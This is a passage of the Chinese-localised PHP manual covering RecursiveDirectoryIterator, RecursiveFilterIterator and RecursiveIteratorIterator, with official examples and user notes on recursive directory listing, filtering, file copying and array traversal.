                continue;
            }
            $Entry = $directory . DS . $entry;
            if(is_dir($Entry)) {
                $entries_array = recursive_read($Entry, $entries_array);
            } else {
                $entries_array[] = $Entry;
            }
        }
        closedir($handle);
    }
    return $entries_array;
}

?>
dev_zakaria at outlook dot com 15-Apr-2019 03:50
if you want to show the all files from all directories you have to follow it-

$dir = new RecursiveDirectoryIterator(getcwd());
$files = new RecursiveIteratorIterator($dir);

foreach($files as $file){
   echo $file->getFileName();
   echo PHP_EOL; // for new line
}

Now, if you want to show the full path, then follow this-

$dir = new RecursiveDirectoryIterator(getcwd());
$files = new RecursiveIteratorIterator($dir);

foreach($files as $file){
   echo $file->getPath().$file->getFileName();
   echo PHP_EOL;
}

If you want to skip the dots, you need to change the first line with this-
$dir = new RecursiveDirectoryIterator(getcwd(), RecursiveDirectoryIterator::SKIP_DOTS);
TDP 12-Apr-2017 02:25
There are differences between Windows and Linux about the order of the files.

<?php
$it = new RecursiveIteratorIterator(
    new RecursiveDirectoryIterator( 'path/to/dir' )
    //, does not matter the flag
    );
...
?>

On Windows, you will get the files ordered by name. On Linux they are not ordered.
alexandrebr at gmail dot com 20-Jan-2016 02:50
I tried to use RecursiveDirectoryIterator to dump all files (and theirs properties, such as size/is_link/is_dir/mtime/perms/owner/group) from a large directory (~400.000 files), filtering some specific wanted files/folders.

Using RecursiveDirectoryIterator and SplFileInfo, dump was taking about 50 seconds to perform, but it was working.

However, to improve performance, I decided to make another version of the same script, using only direct file functions, such as "readdir", "filesize", "filemtime", etc.., and adding recursivity myself (if(is_dir($path)) doRecursivity($path);

After running it, script went from ~50s to only ~20s to complete (On Linux CentOS 7, SSD 300IPs).

Strangely, on Windows 7, Sata3 (with exactly same files [mirrored]) the time went from ~63s to ~57s.

I believe that this payload is due to the OO approach of SPL, which runs lots of unnecessary extra code to perform the same tasks with more reliability, while direct file funcions are more like alias to C corresponding functions, and thereover, must faster.

So, if you're dealing with a large amount of files, using RecursiveDirectoryIterator is probably not the way to go.
flobee 29-Mar-2015 02:58
In this doc page i see things for to hide hidden files  (also for opendir() or readdir() .... this should be mentiond all there
<?php
// not hidden but on most OS systems Win, *nix, OSX..
if ($file == '.' || $file == '..') {
     // "." current dir info,
     // ".." dir above info,
          continue;
?>
or
<?php
if $name[0] === '.' // NOT OK FOLKS
?>
Think:
"... and then came Polly.avi" is the title of the Movi. What do you do then?

Windows does it different with hidden files than unix based systems.

For unix based systems  something like this should work:
<?php
if (preg_match('/^(\.\w+|\.$|\.\.$)/i', $location)) {
/* is hidden:
    .
    ..
    .dir
    .file
*/
}
// must be ok: "..some thing", "... some thing"
?>

I know you do it (if $name[0] === '.' ) because it is much faster. But it is NOT correct and some day you miss things like me today :-)
sun 28-Feb-2014 08:39
Since I continue to run into implementations across the net that are unintentionally running into this trap — beware:

RecursiveDirectoryIterator recurses without limitations into the full filesystem tree.

Do NOT do the following, unless you intentionally want to infinitely recurse without limitations:

<?php
$directory = new \RecursiveDirectoryIterator($path);
$iterator = new \RecursiveIteratorIterator($directory);
$files = array();
foreach ($iterator as $info) {
  if (...custom conditions...) {
    $files[] = $info->getPathname();
  }
}
?>

1. RecursiveDirectoryIterator is just a RecursiveIterator that recurses into its children, until no more children are found.

2. The instantiation of RecursiveIteratorIterator causes RecursiveDirectoryIterator to *immediately* recurse infinitely into the entire filesystem tree (starting from the given base path).

3. Unnecessary filesystem recursion is slow.  In 90% of all cases, this is not what you want.

Remember this simple rule of thumb:

→ A RecursiveDirectoryIterator must be FILTERED or you have a solid reason for why it shouldn't.

On PHP <5.4, implement the following - your custom conditions move into a proper filter:

<?php
$directory = new \RecursiveDirectoryIterator($path, \FilesystemIterator::FOLLOW_SYMLINKS);
$filter = new MyRecursiveFilterIterator($directory);
$iterator = new \RecursiveIteratorIterator($filter);
$files = array();
foreach ($iterator as $info) {
  $files[] = $info->getPathname();
}

class MyRecursiveFilterIterator extends \RecursiveFilterIterator {

  public function accept() {
    $filename = $this->current()->getFilename();
    // Skip hidden files and directories.
    if ($name[0] === '.') {
      return FALSE;
    }
    if ($this->isDir()) {
      // Only recurse into intended subdirectories.
      return $name === 'wanted_dirname';
    }
    else {
      // Only consume files of interest.
      return strpos($name, 'wanted_filename') === 0;
    }
  }

}
?>

On PHP 5.4+, PHP core addressed the slightly cumbersome issue of having to create an entirely new class and you can leverage the new RecursiveCallbackFilterIterator instead:

<?php
$directory = new \RecursiveDirectoryIterator($path, \FilesystemIterator::FOLLOW_SYMLINKS);
$filter = new \RecursiveCallbackFilterIterator($directory, function ($current, $key, $iterator) {
  // Skip hidden files and directories.
  if ($current->getFilename()[0] === '.') {
    return FALSE;
  }
  if ($current->isDir()) {
    // Only recurse into intended subdirectories.
    return $current->getFilename() === 'wanted_dirname';
  }
  else {
    // Only consume files of interest.
    return strpos($current->getFilename(), 'wanted_filename') === 0;
  }
});
$iterator = new \RecursiveIteratorIterator($filter);
$files = array();
foreach ($iterator as $info) {
  $files[] = $info->getPathname();
}
?>

Have fun!
rockerBOO 19-Jan-2014 04:01
When looping through the RecursiveDirectoryIterator , the results use  SplFileInfo.
Edward Rudd 18-Dec-2013 04:11
(related to the post about exceptions in getChildren().

instead of subclassing you can simply use the CATCH_GET_CHILD flag for RecursiveIteratorIterator

new RecursiveIteratorIterator($diriter, RecursiveIteratorIterator::CATCH_GET_CHILD);
dblanchard1 at bbox dot fr 13-Nov-2013 09:07
If you want to copy all files recursively from a source directory to some destination  :

    $directory = new RecursiveDirectoryIterator("./source_path/");

    foreach (new RecursiveIteratorIterator($directory) as $filename=>$current) {

            $src = $current->getPathName();
            $dest = "./destination_path/" . $current->getFileName();

            echo "copy " .  $src . " => " . $dest  . "\n";

            copy($src, $dest);
     }

I hope it can help someone because when I looked for this solution I had to transform another example to get it.
catinahat at cool dot fr dot nf 19-Jan-2013 12:44
If you need to convert a nested directory tree into a multidimensional array, use this code:

<?php
$ritit = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($startpath), RecursiveIteratorIterator::CHILD_FIRST);
$r = array();
foreach ($ritit as $splFileInfo) {
   $path = $splFileInfo->isDir()
         ? array($splFileInfo->getFilename() => array())
         : array($splFileInfo->getFilename());

   for ($depth = $ritit->getDepth() - 1; $depth >= 0; $depth--) {
       $path = array($ritit->getSubIterator($depth)->current()->getFilename() => $path);
   }
   $r = array_merge_recursive($r, $path);
}

print_r($r);
?>
Josh Heidenreich 14-Feb-2012 03:51
The returned object is an iterator of SplFileInfo objects.
antennen 02-Jan-2011 09:40
If you use RecursiveDirectoryIterator with RecursiveIteratorIterator and run into UnexpectedValueException you may use this little hack to ignore those directories, such as lost+found on linux.

<?php
class IgnorantRecursiveDirectoryIterator extends RecursiveDirectoryIterator {
    function getChildren() {
        try {
            return new IgnorantRecursiveDirectoryIterator($this->getPathname());
        } catch(UnexpectedValueException $e) {
            return new RecursiveArrayIterator(array());
        }
    }
}
?>

Use just like the normal RecursiveDirectoryIterator.
Thriault 09-Apr-2010 12:05
If you would like to get, say, all the *.php files in your project folder, recursively, you could use the following:

<?php

$Directory = new RecursiveDirectoryIterator('path/to/project/');
$Iterator = new RecursiveIteratorIterator($Directory);
$Regex = new RegexIterator($Iterator, '/^.+\.php$/i', RecursiveRegexIterator::GET_MATCH);

?>

$Regex will contain a single index array for each PHP file.
megar 15-Jul-2009 01:57
Usage example:
To see all the files, and count the space usage:

<?php
$ite=new RecursiveDirectoryIterator("/path/");

$bytestotal=0;
$nbfiles=0;
foreach (new RecursiveIteratorIterator($ite) as $filename=>$cur) {
    $filesize=$cur->getSize();
    $bytestotal+=$filesize;
    $nbfiles++;
    echo "$filename => $filesize\n";
}

$bytestotal=number_format($bytestotal);
echo "Total: $nbfiles files, $bytestotal bytes\n";
?>
alvaro at demogracia dot com 18-Sep-2008 08:15
Usage example:

<?php

$path = realpath('/etc');

$objects = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path), RecursiveIteratorIterator::SELF_FIRST);
foreach($objects as $name => $object){
    echo "$name\n";
}

?>

This prints a list of all files and directories under $path (including $path ifself). If you want to omit directories, remove the RecursiveIteratorIterator::SELF_FIRST part.


Constructs a RecursiveDirectoryIterator

  • ? RecursiveDirectoryIterator
  • RecursiveDirectoryIterator::getChildren ?
  • PHP Manual
  • RecursiveDirectoryIterator
  • Constructs a RecursiveDirectoryIterator

RecursiveDirectoryIterator::__construct

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

RecursiveDirectoryIterator::__construct — Constructs a RecursiveDirectoryIterator

说明

public RecursiveDirectoryIterator::__construct(string $directory, int $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO)

Constructs a RecursiveDirectoryIterator() for the provided directory.

参数

directory

The path of the directory to be iterated over.

flags

Flags may be provided which will affect the behavior of some methods. A list of the flags can found under FilesystemIterator predefined constants. They can also be set later with FilesystemIterator::setFlags().

错误／异常

Throws an UnexpectedValueException if the directory does not exist.

Throws a ValueError if the directory is an empty string.

更新日志

版本 | 说明
8.0.0 | Now throws a ValueError if directory is an empty string; previously it threw a RuntimeException.

示例

Example #1 RecursiveDirectoryIterator example

<?php

$directory = '/tmp';

$it = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory));

$it->rewind();
while($it->valid()) {

if (!$it->isDot()) {
echo 'SubPathName: ' . $it->getSubPathName() . "\n";
echo 'SubPath: ' . $it->getSubPath() . "\n";
echo 'Key: ' . $it->key() . "\n\n";
}

$it->next();
}

?>

以上示例的输出类似于：

SubPathName: fruit/apple.xml
SubPath:     fruit
Key:         /tmp/fruit/apple.xml

SubPathName: stuff.xml
SubPath:
Key:         /tmp/stuff.xml

SubPathName: veggies/carrot.xml
SubPath:     veggies
Key:         /tmp/veggies/carrot.xml

参见

  • FilesystemIterator::__construct() - Constructs a new filesystem iterator
  • RecursiveIteratorIterator::__construct() - Construct a RecursiveIteratorIterator
  • FilesystemIterator predefined constants

User Contributed Notes

hanskrentel at yahoo dot de 02-Sep-2012 09:54
The two default flags are zero (virtual) as with my PHP versions (5.3 and 5.4). Which means you can not check if those are set or not with the & bitwise operator:

<?php
// CURRENT_AS_FILEINFO (0)
// KEY_AS_PATHNAME (0)

### always FALSE ###
$directoryIterator->getFlags() & RecursiveDirectoryIterator::CURRENT_AS_FILEINFO;

?>

But this also allows that you can use other flags right ahead without repeating the default ones:

<?php
new RecursiveDirectoryIterator(
    '.',
    FilesystemIterator::UNIX_PATHS
);
?>

There is no need to repeat the default flags. Please note that this is different to FilesystemIterator which has as well the SKIP_DOTS flag as default which is non-zero:

<?php
new RecursiveDirectoryIterator(
    '.',
    FilesystemIterator::SKIP_DOTS
        | FilesystemIterator::UNIX_PATHS
);
?>
pedro dot matamouros at gmail dot com 17-Sep-2010 05:43
You can use RecursiveDirectoryIterator::FOLLOW_SYMLINKS as a flag to the constructor to have RecursiveDirectoryIterator follow symlinks, which it does not do by default.

[EDIT BY danbrown AT php DOT net on 16-JUL-2012: Contains a typofix provided by (lightrekky AT gmail DOT com) in note #109280 on 02-JUL-2012.]


Returns an iterator for the current entry if it is a directory

  • ? RecursiveDirectoryIterator::__construct
  • RecursiveDirectoryIterator::getSubPath ?
  • PHP Manual
  • RecursiveDirectoryIterator
  • Returns an iterator for the current entry if it is a directory

RecursiveDirectoryIterator::getChildren

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

RecursiveDirectoryIterator::getChildren — Returns an iterator for the current entry if it is a directory

说明

public RecursiveDirectoryIterator::getChildren(): RecursiveDirectoryIterator
Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

The filename, file information, or $this depending on the set flags. See the FilesystemIterator constants.

User Contributed Notes

There are no user contributed notes for this page.


Get sub path

  • ? RecursiveDirectoryIterator::getChildren
  • RecursiveDirectoryIterator::getSubPathname ?
  • PHP Manual
  • RecursiveDirectoryIterator
  • Get sub path

RecursiveDirectoryIterator::getSubPath

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

RecursiveDirectoryIterator::getSubPath — Get sub path

说明

public RecursiveDirectoryIterator::getSubPath(): string

Returns the sub path relative to the directory given in the constructor.

参数

此函数没有参数。

返回值

The sub path.

示例

Example #1 getSubPath() example

$directory = '/tmp';

$it = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory));

foreach ($it as $file) {
echo 'SubPathName: ' . $it->getSubPathName() . "\n";
echo 'SubPath: ' . $it->getSubPath() . "\n\n";
}

以上示例的输出类似于：

     SubPathName: fruit/apple.xml
     SubPath:     fruit

     SubPathName: stuff.xml
     SubPath:

     SubPathName: veggies/carrot.xml
     SubPath:     veggies

参见

  • RecursiveDirectoryIterator::getSubPathName() - Get sub path and name
  • RecursiveDirectoryIterator::key() - Return path and filename of current dir entry

User Contributed Notes

There are no user contributed notes for this page.


Get sub path and name

  • ? RecursiveDirectoryIterator::getSubPath
  • RecursiveDirectoryIterator::hasChildren ?
  • PHP Manual
  • RecursiveDirectoryIterator
  • Get sub path and name

RecursiveDirectoryIterator::getSubPathname

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

RecursiveDirectoryIterator::getSubPathname — Get sub path and name

说明

public RecursiveDirectoryIterator::getSubPathname(): string

Gets the sub path and filename.

参数

此函数没有参数。

返回值

The sub path (sub directory) and filename.

示例

Example #1 getSubPathname() example

$directory = '/tmp';

$it = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory));

foreach ($it as $file) {
echo 'SubPathName: ' . $it->getSubPathname() . "\n";
echo 'SubPath: ' . $it->getSubPath() . "\n\n";
}

以上示例的输出类似于：

     SubPathName: fruit/apple.xml
     SubPath:     fruit

     SubPathName: stuff.xml
     SubPath:

     SubPathName: veggies/carrot.xml
     SubPath:     veggies

参见

  • RecursiveDirectoryIterator::getSubPath() - Get sub path
  • RecursiveDirectoryIterator::key() - Return path and filename of current dir entry

User Contributed Notes

There are no user contributed notes for this page.


Returns whether current entry is a directory and not '.' or '..'

  • ? RecursiveDirectoryIterator::getSubPathname
  • RecursiveDirectoryIterator::key ?
  • PHP Manual
  • RecursiveDirectoryIterator
  • Returns whether current entry is a directory and not '.' or '..'

RecursiveDirectoryIterator::hasChildren

(PHP 5, PHP 7, PHP 8)

RecursiveDirectoryIterator::hasChildren — Returns whether current entry is a directory and not '.' or '..'

说明

public RecursiveDirectoryIterator::hasChildren(bool $allowLinks = false): bool
Warning

本函数还未编写文档，仅有参数列表。

参数

allowLinks

返回值

Returns whether the current entry is a directory, but not '.' or '..'

User Contributed Notes

There are no user contributed notes for this page.


Return path and filename of current dir entry

  • ? RecursiveDirectoryIterator::hasChildren
  • RecursiveDirectoryIterator::next ?
  • PHP Manual
  • RecursiveDirectoryIterator
  • Return path and filename of current dir entry

RecursiveDirectoryIterator::key

(PHP 5, PHP 7, PHP 8)

RecursiveDirectoryIterator::key — Return path and filename of current dir entry

说明

public RecursiveDirectoryIterator::key(): string
Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

The path and filename of the current dir entry.

User Contributed Notes

There are no user contributed notes for this page.


Move to next entry

  • ? RecursiveDirectoryIterator::key
  • RecursiveDirectoryIterator::rewind ?
  • PHP Manual
  • RecursiveDirectoryIterator
  • Move to next entry

RecursiveDirectoryIterator::next

(PHP 5, PHP 7, PHP 8)

RecursiveDirectoryIterator::next — Move to next entry

说明

public RecursiveDirectoryIterator::next(): void
Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Rewind dir back to the start

  • ? RecursiveDirectoryIterator::next
  • RecursiveFilterIterator ?
  • PHP Manual
  • RecursiveDirectoryIterator
  • Rewind dir back to the start

RecursiveDirectoryIterator::rewind

(PHP 5, PHP 7, PHP 8)

RecursiveDirectoryIterator::rewind — Rewind dir back to the start

说明

public RecursiveDirectoryIterator::rewind(): void
Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


The RecursiveFilterIterator class

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

简介

This abstract iterator filters out unwanted values for a RecursiveIterator. This class should be extended to implement custom filters. The RecursiveFilterIterator::accept() must be implemented in the subclass.

类摘要

abstract class RecursiveFilterIterator extends FilterIterator implements RecursiveIterator {
/* 方法 */
public __construct(RecursiveIterator $iterator)
public getChildren(): ?RecursiveFilterIterator
public hasChildren(): bool
/* 继承的方法 */
public FilterIterator::accept(): bool
public FilterIterator::current(): mixed
public FilterIterator::key(): mixed
public FilterIterator::next(): void
public FilterIterator::rewind(): void
public FilterIterator::valid(): bool
public IteratorIterator::current(): mixed
public IteratorIterator::getInnerIterator(): ?Iterator
public IteratorIterator::key(): mixed
public IteratorIterator::next(): void
public IteratorIterator::rewind(): void
public IteratorIterator::valid(): bool
}

Table of Contents

  • RecursiveFilterIterator::__construct — Create a RecursiveFilterIterator from a RecursiveIterator
  • RecursiveFilterIterator::getChildren — Return the inner iterator's children contained in a RecursiveFilterIterator
  • RecursiveFilterIterator::hasChildren — Check whether the inner iterator's current element has children

User Contributed Notes

lemats 05-May-2011 10:14
Recursive directory/file listing, filteres ".svn":

<?php

class MyRecursiveFilterIterator extends RecursiveFilterIterator {

    public static $FILTERS = array(
        '.svn',
    );

    public function accept() {
        return !in_array(
            $this->current()->getFilename(),
            self::$FILTERS,
            true
        );
    }

}

$dirItr    = new RecursiveDirectoryIterator('/sample/path');
$filterItr = new MyRecursiveFilterIterator($dirItr);
$itr       = new RecursiveIteratorIterator($filterItr, RecursiveIteratorIterator::SELF_FIRST);
foreach ($itr as $filePath => $fileInfo) {
    echo $fileInfo->getFilename() . PHP_EOL;
}

?>
Russell Dias 28-Sep-2010 06:38
I had to create a filter to get values greater than a certain number in a multidimensional array.

Hope someone else finds it helpful:

<?php
class GreaterThanFilter extends RecursiveFilterIterator {
    protected $limit;

    public function __construct(RecursiveIterator $recursiveIter, $limit) {
        $this->limit = $limit;
        parent::__construct($recursiveIter);
    }
    public function accept() {
        return $this->hasChildren() || strlen($this->current()) >= $this->limit;
    }
     public function getChildren() {
        return new self($this->getInnerIterator()->getChildren(), $this->limit);
    }
}
$iter = new RecursiveArrayIterator($array);
$filter   = new GreaterThanFilter($iter, 5);

foreach(new RecursiveIteratorIterator($filter) as $key => $value)
{
    echo $value . "\n";
}
?>


Create a RecursiveFilterIterator from a RecursiveIterator

  • ? RecursiveFilterIterator
  • RecursiveFilterIterator::getChildren ?
  • PHP Manual
  • RecursiveFilterIterator
  • Create a RecursiveFilterIterator from a RecursiveIterator

RecursiveFilterIterator::__construct

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

RecursiveFilterIterator::__construct — Create a RecursiveFilterIterator from a RecursiveIterator

说明

public RecursiveFilterIterator::__construct(RecursiveIterator $iterator)

Create a RecursiveFilterIterator from a RecursiveIterator.

参数

iterator

The RecursiveIterator to be filtered.

示例

Example #1 Basic RecursiveFilterIterator() example

<?php
class TestsOnlyFilter extends RecursiveFilterIterator {
public function accept() {
// Accept the current item if we can recurse into it
// or it is a value starting with "test"
return $this->hasChildren() || (strpos($this->current(), "test") !== FALSE);
}
}

$array = array("test1", array("taste2", "test3", "test4"), "test5");
$iterator = new RecursiveArrayIterator($array);
$filter = new TestsOnlyFilter($iterator);

foreach(new RecursiveIteratorIterator($filter) as $key => $value)
{
echo $value . "\n";
}
?>

以上示例的输出类似于：

test1
test3
test4
test5

Example #2 RecursiveFilterIterator() example

<?php
class StartsWithFilter extends RecursiveFilterIterator {

protected $word;

public function __construct(RecursiveIterator $rit, $word) {
$this->word = $word;
parent::__construct($rit);
}

public function accept() {
return $this->hasChildren() OR strpos($this->current(), $this->word) === 0;
}

public function getChildren() {
return new self($this->getInnerIterator()->getChildren(), $this->word);
}
}

$array = array("test1", array("taste2", "test3", "test4"), "test5");
$iterator = new RecursiveArrayIterator($array);
$filter = new StartsWithFilter($iterator, "test");

foreach(new RecursiveIteratorIterator($filter) as $key => $value)
{
echo $value . "\n";
}
?>

以上示例的输出类似于：

test1
test3
test4
test5

参见

  • RecursiveFilterIterator::getChildren() - Return the inner iterator's children contained in a RecursiveFilterIterator
  • RecursiveFilterIterator::hasChildren() - Check whether the inner iterator's current element has children
  • FilterIterator::accept() - Check whether the current element of the iterator is acceptable

User Contributed Notes

There are no user contributed notes for this page.


Return the inner iterator's children contained in a RecursiveFilterIterator

  • ? RecursiveFilterIterator::__construct
  • RecursiveFilterIterator::hasChildren ?
  • PHP Manual
  • RecursiveFilterIterator
  • Return the inner iterator's children contained in a RecursiveFilterIterator

RecursiveFilterIterator::getChildren

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

RecursiveFilterIterator::getChildren — Return the inner iterator's children contained in a RecursiveFilterIterator

说明

public RecursiveFilterIterator::getChildren(): ?RecursiveFilterIterator

Return the inner iterator's children contained in a RecursiveFilterIterator.

参数

此函数没有参数。

返回值

Returns a RecursiveFilterIterator containing the inner iterator's children.

参见

  • RecursiveFilterIterator::hasChildren() - Check whether the inner iterator's current element has children
  • RecursiveIterator::getChildren() - Returns an iterator for the current entry

User Contributed Notes

There are no user contributed notes for this page.


Check whether the inner iterator's current element has children

  • ? RecursiveFilterIterator::getChildren
  • RecursiveIteratorIterator ?
  • PHP Manual
  • RecursiveFilterIterator
  • Check whether the inner iterator's current element has children

RecursiveFilterIterator::hasChildren

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

RecursiveFilterIterator::hasChildren — Check whether the inner iterator's current element has children

说明

public RecursiveFilterIterator::hasChildren(): bool

Check whether the inner iterator's current element has children.

参数

此函数没有参数。

返回值

true if the inner iterator has children, otherwise false

参见

  • RecursiveFilterIterator::getChildren() - Return the inner iterator's children contained in a RecursiveFilterIterator
  • RecursiveIterator::hasChildren() - Returns if an iterator can be created for the current entry

User Contributed Notes

There are no user contributed notes for this page.


The RecursiveIteratorIterator class

(PHP 5, PHP 7, PHP 8)

简介

Can be used to iterate through recursive iterators.

类摘要

class RecursiveIteratorIterator implements OuterIterator {
/* 常量 */
public const int LEAVES_ONLY;
public const int SELF_FIRST;
public const int CHILD_FIRST;
public const int CATCH_GET_CHILD;
/* 方法 */
public __construct(Traversable $iterator, int $mode = RecursiveIteratorIterator::LEAVES_ONLY, int $flags = 0)
public beginChildren(): void
public beginIteration(): void
public callGetChildren(): ?RecursiveIterator
public callHasChildren(): bool
public current(): mixed
public endChildren(): void
public endIteration(): void
public getDepth(): int
public getInnerIterator(): RecursiveIterator
public getMaxDepth(): int|false
public getSubIterator(?int $level = null): ?RecursiveIterator
public key(): mixed
public next(): void
public nextElement(): void
public rewind(): void
public setMaxDepth(int $maxDepth = -1): void
public valid(): bool
}

预定义常量

RecursiveIteratorIterator::LEAVES_ONLY

RecursiveIteratorIterator::SELF_FIRST

RecursiveIteratorIterator::CHILD_FIRST

RecursiveIteratorIterator::CATCH_GET_CHILD

Table of Contents

  • RecursiveIteratorIterator::beginChildren — Begin children
  • RecursiveIteratorIterator::beginIteration — Begin Iteration
  • RecursiveIteratorIterator::callGetChildren — Get children
  • RecursiveIteratorIterator::callHasChildren — Has children
  • RecursiveIteratorIterator::__construct — Construct a RecursiveIteratorIterator
  • RecursiveIteratorIterator::current — Access the current element value
  • RecursiveIteratorIterator::endChildren — End children
  • RecursiveIteratorIterator::endIteration — End Iteration
  • RecursiveIteratorIterator::getDepth — Get the current depth of the recursive iteration
  • RecursiveIteratorIterator::getInnerIterator — Get inner iterator
  • RecursiveIteratorIterator::getMaxDepth — Get max depth
  • RecursiveIteratorIterator::getSubIterator — The current active sub iterator
  • RecursiveIteratorIterator::key — Access the current key
  • RecursiveIteratorIterator::next — Move forward to the next element
  • RecursiveIteratorIterator::nextElement — Next element
  • RecursiveIteratorIterator::rewind — Rewind the iterator to the first element of the top level inner iterator
  • RecursiveIteratorIterator::setMaxDepth — Set max depth
  • RecursiveIteratorIterator::valid — Check whether the current position is valid

User Contributed Notes

Anonymous 08-Nov-2016 10:15
A very useful use case for RecusiveIteratorIterator in combination with RecursiveArrayIterator is to replace array values on a multidimensional array at any level deep.

Usually, array_walk_recursive would be used to replace values deep within arrays, but unfortunately this only works when there is a standard key value pair - in other words, array_walk_recursive ONLY VISITS LEAF NODES, NOT arrays.

So to get around this, the iterators can be used in this way:

<?php
$array = [
    'test' => 'value',
    'level_one' => [
        'level_two' => [
            'level_three' => [
                'replace_this_array' => [
                    'special_key' => 'replacement_value',
                    'key_one' => 'testing',
                    'key_two' => 'value',
                    'four' => 'another value'
                ]
            ],
            'ordinary_key' => 'value'
        ]
    ]
];

$arrayIterator = new \RecursiveArrayIterator($array);
$recursiveIterator = new \RecursiveIteratorIterator($arrayIterator, \RecursiveIteratorIterator::SELF_FIRST);

foreach ($recursiveIterator as $key => $value) {
    if (is_array($value) && array_key_exists('special_key', $value)) {
        // Here we replace ALL keys with the same value from 'special_key'
        $replaced = array_fill(0, count($value), $value['special_key']);
        $value = array_combine(array_keys($value), $replaced);
        // set a new key
        $value['new_key'] = 'new value';

        // Get the current depth and traverse back up the tree, saving the modifications
        $currentDepth = $recursiveIterator->getDepth();
        for ($subDepth = $currentDepth; $subDepth >= 0; $subDepth--) {
            // Get the current level iterator
            $subIterator = $recursiveIterator->getSubIterator($subDepth);
            // If we are on the level we want to change, use the replacements ($value) other wise set the key to the parent iterators value
            $subIterator->offsetSet($subIterator->key(), ($subDepth === $currentDepth ? $value : $recursiveIterator->getSubIterator(($subDepth+1))->getArrayCopy()));
       }
    }
}
return $recursiveIterator->getArrayCopy();
// return:
$array = [
    'test' => 'value',
    'level_one' => [
        'level_two' => [
            'level_three' => [
                'replace_this_array' => [
                    'special_key' => 'replacement_value',
                    'key_one' => 'replacement_value',
                    'key_two' => 'replacement_value',
                    'four' => 'replacement_value',
                    'new_key' => 'new value'
                ]
            ],
            'ordinary_key' => 'value'
        ]
    ]
];
?>

The key is in traversing back up the tree to save the changes at that level - simply calling $recursiveIterator->offsetSet(); will only set a key on the root array.
gerry at king-foo dot be 11-Jun-2014 12:44
Carefull when using iterator_to_array(). Because it flattens down your subiterators, elements with the same keys will overwrite eachother.

For example:

<?php

$iterator = new RecursiveIteratorIterator(
    new RecursiveArrayIterator([
        ['foo', 'bar'],
        ['baz', 'qux']
    ])
);

foreach ($iterator as $element) {
    echo $element;
}

?>

This will output all 4 elements as expected:

string(3) "foo"
string(3) "bar"
string(3) "baz"
string(3) "qux"

While doing:

<?php

var_dump(iterator_to_array($iterator));

?>

will output an array with only the last 2 elements:

array(2) {
  [0]=>
  string(3) "baz"
  [1]=>
  string(3) "qux"
}
fengdingbo at gmail dot com 21-Aug-2013 02:18
if you want traversal directory。
<?php
foreach (new RecursiveIteratorIterator(new RecursiveDirectoryIterator("./")) as $key=>$val)
{
    echo $key,"=>",$val,"\n";
}
?>
Adil Baig @ AIdezigns 23-Jun-2011 11:17
A very important thing to note about \RecursiveIteratorIterator is that it returns a flattened array when used with the iterator_to_array function. Ex:

<?php
$arr = array('Zero', 'name'=>'Adil', 'address' => array( 'city'=>'Dubai', 'tel' => array('int' => 971, 'tel'=>12345487)), '' => 'nothing');

$iterator = new \RecursiveIteratorIterator(new \RecursiveArrayIterator($arr));
var_dump(iterator_to_array($iterator,true));
?>

This code will return :

array(6) {
  [0]=>
  string(4) "Zero"
  ["name"]=>
  string(4) "Adil"
  ["city"]=>
  string(5) "Dubai"
  ["int"]=>
  int(91)
  ["tel"]=>
  int(12345487)
  [""]=>
  string(7) "nothing"
}

To get the non-flattened proper array use the getArrayCopy() method, like so :

$iterator->getArrayCopy()

This will return

array(4) {
  [0]=>
  string(4) "Zero"
  ["name"]=>
  string(4) "Adil"
  ["address"]=>
  array(2) {
    ["city"]=>
    string(5) "Dubai"
    ["tel"]=>
    array(2) {
      ["int"]=>
      int(91)
      ["tel"]=>
      int(12345487)
    }
  }
  [""]=>
  string(7) "nothing"
}
Tom 06-Jan-2011 01:35
This class operates on a tree of elements, which is build by nesting recursive iterators into one another.

Thus you might say it is an iterator over iterators. While traversing those, the class pushes the iterators on a stack while traversing down to a leaf and removes them from the stack while going back up.
aidan at php dot net 29-Apr-2010 09:57
This example demonstrates using the getDepth() method with a RecursiveArrayIterator.

<?php
$tree = array();
$tree[1][2][3] = 'lemon';
$tree[1][4] = 'melon';
$tree[2][3] = 'orange';
$tree[2][5] = 'grape';
$tree[3] = 'pineapple';

print_r($tree);

$arrayiter = new RecursiveArrayIterator($tree);
$iteriter = new RecursiveIteratorIterator($arrayiter);

foreach ($iteriter as $key => $value) {
  $d = $iteriter->getDepth();
  echo "depth=$d k=$key v=$value\n";
}
?>

The output of this would be:

Array
(
    [1] => Array
        (
            [2] => Array
                (
                    [3] => lemon
                )

            [4] => melon
        )

    [2] => Array
        (
            [3] => orange
            [5] => grape
        )

    [3] => pineapple
)

depth=2 k=3 v=lemon
depth=1 k=4 v=melon
depth=1 k=3 v=orange
depth=1 k=5 v=grape
depth=0 k=3 v=pineapple
Michiel Brandenburg 14-Jun-2009 04:40
You can use this to quickly find all the files (recursively) in a certain directory. This beats maintaining a stack yourself.
<?php
$directory = "/tmp/";
$fileSPLObjects =  new RecursiveIteratorIterator(
                new RecursiveDirectoryIterator($directory),
                RecursiveIteratorIterator::CHILD_FIRST
            );
try {
    foreach( $fileSPLObjects as $fullFileName => $fileSPLObject ) {
        print $fullFileName . " " . $fileSPLObject->getFilename() . "\n";
    }
}
catch (UnexpectedValueException $e) {
    printf("Directory [%s] contained a directory we can not recurse into", $directory);
}
?>
Note: if there is a directory contained within the directory you are searching in that you have no access to read an UnexpectedValueException will be thrown (leaving you with an empty list).
Note: objects returned are SPLFileObjects


Begin children

  • ? RecursiveIteratorIterator
